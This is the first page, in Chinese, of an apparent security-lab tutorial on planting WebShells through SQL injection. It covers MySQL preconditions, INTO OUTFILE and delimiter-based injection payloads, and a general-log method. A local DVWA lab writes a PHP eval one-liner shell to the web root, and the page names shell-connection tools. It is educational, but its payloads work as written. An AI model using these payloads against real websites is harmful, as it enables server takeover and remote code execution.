侵權投訴
訂閱
糾錯
加入自媒體

三大數(shù)據(jù)庫如何寫入WebShell?

WebShell作為黑客常用來提權的工具,通常出現(xiàn)在存在任意文件上傳漏洞的網(wǎng)站中,但如果遇到一個沒有任何的上傳點的網(wǎng)站,想通過文件上傳漏洞獲得權限顯然就行不通了,但所謂“山窮水盡疑無路,柳暗花明又一村”,此時一個SQL注入點擺在你眼前,你能否珍惜這來之不易的機會,拿到WebShell呢?

本期美創(chuàng)安全實驗室將帶大家了解,如何通過三大數(shù)據(jù)庫 (MySQL、SqlServer、Oracle)獲取網(wǎng)站的WebShell。

MySQL寫入WebShell

01必備條件

想要成功向MySQL寫入WebShell需要至少滿足以下4個條件:

① 數(shù)據(jù)庫的當前用戶為ROOT或擁有FILE權限;

② 知道網(wǎng)站目錄的絕對路徑;

③ PHP的GPC參數(shù)為off狀態(tài);

④ MySQL中的secure_file_priv參數(shù)不能為NULL狀態(tài)。

注意:關于其中第4點,secure_file_priv參數(shù)是MySQL用來限制數(shù)據(jù)導入和導出操作的效果,如果這個參數(shù)被設為了一個目錄名,那么MySQL會允許僅在這個目錄中可以執(zhí)行文件的導入和導出,例如LOAD DATA、SELECT。。。INTOOUTFILE、LOAD_FILE()等。如果這個參數(shù)為NULL,MySQL會禁止導入導出操作,但是這只是意味著通過outfile方法寫入WebShell是無法成功的,但是通過導出日志的方法是可以的。

02寫入方法

向MySQL寫入WebShell的方式一共有兩種,分別是:1、使用outfile方法,2、基于log日志寫入法。

Outfile方法其實是MySQL提供的一個用來寫入文件的函數(shù),當我們可以控制寫入的文件內(nèi)容以及文件的保存路徑時,我們就可以達到傳入WebShell的目的。當我們可以使用union查詢時,我們構造一個如下語句,就可以達到效果:

Union select “這里是WebShell” into outfile “Web目錄”;

當我們無法使用union時,還有一些其他方法也可以實現(xiàn)(利用分隔符寫入):

?id=1 INTO OUTFILE '物理路徑' lines terminatedby (這里是WebShell)#

?id=1 INTO OUTFILE '物理路徑' fields terminatedby (這里是WebShell)#

?id=1 INTO OUTFILE'物理路徑'columns terminatedby (這里是WebShell)#

?id=1 INTO OUTFILE '物理路徑' lines startingby (這里是WebShell)#

基于log日志寫入的方法其實是先將日志文件的導出目錄修改成Web目錄,然后執(zhí)行了一次簡單的WebShell代碼查詢功能,此時日志文件記錄了此過程,這樣再Web目錄下的日志文件就變成了WebShell。例如,我們先設置日志文件的導出目錄:set global general_file = ‘Web目錄’;然后執(zhí)行一遍:select “WebShell代碼”;即可。

03使用OUTFILE方法寫入Webshell

(1)實驗前準備

檢查secure_file_priv是否開啟:show variables like‘%secure%’;確認其不為NULL。有值或為空都可以。(若是為NULL,則需要到my.ini文件中手動修改)

image.png

圖1:檢查secure_file_priv是否開啟

檢查當前用戶是否具備寫權限:selectuser,file_priv from mysql.user;確認其用戶的值為Y即代表此用戶擁有文件寫入權限。

image.png

圖2:用戶是否具備寫權限

(2)確認注入點

http:/192.168.20.35/DVWA-master/vulnerabilities/sqli/?id=1;

參數(shù)ID存在SQL注入漏洞

http:/192.168.20.35/DVWA-master/vulnerabilities/sqli/?id=1’union select version(),user() #

image.png

圖3:確認注入點

(3)利用outfile寫入shell文件

若secure_file_priv為空,則可以向任意目錄寫入文件,若secure_file_priv有值,則只能向該值指向的目錄寫入文件,因為我們的值為空,所以就任意目錄寫入,但因為還需要工具進行連接,所以最好放在網(wǎng)站的根目錄下。

PAYLOAD(使用Union查詢注入):1‘unionselect1,”<?phpeval(#_POST[‘pass’]); ?>” into outfile“F:PhpStudy20180211

PHPTutorialWWWTp.php” #

PAYLOAD(不用Union):1’intooutfile“F:Php、Study2018021PHPTutorialWWWTp.php” fields terminated by “<?phpeval(#_POST[‘pass’]); ?>” #

image.png

圖4:利用outfile寫入shell文件

文件已被寫入到網(wǎng)站的根目錄下,接下來就可以使用連接工具(蟻劍、菜刀、冰蝎等)進行連接了。

image.png

圖5:網(wǎng)站根目錄

04使用導入日志的方法寫入Webshell

(1)實驗前準備:

檢查當前MySQL下log日志是否開啟,以及l(fā)og的默認地址在哪里:show variables like ‘%general%’;

image.png

圖6:檢查log日志是否開啟

1  2  3  4  下一頁>  
聲明: 本文由入駐維科號的作者撰寫,觀點僅代表作者本人,不代表OFweek立場。如有侵權或其他問題,請聯(lián)系舉報。

發(fā)表評論

0條評論,0人參與

請輸入評論內(nèi)容...

請輸入評論/評論長度6~500個字

您提交的評論過于頻繁,請輸入驗證碼繼續(xù)

暫無評論

暫無評論

    文章糾錯
    x
    *文字標題:
    *糾錯內(nèi)容:
    聯(lián)系郵箱:
    *驗 證 碼:

    粵公網(wǎng)安備 44030502002758號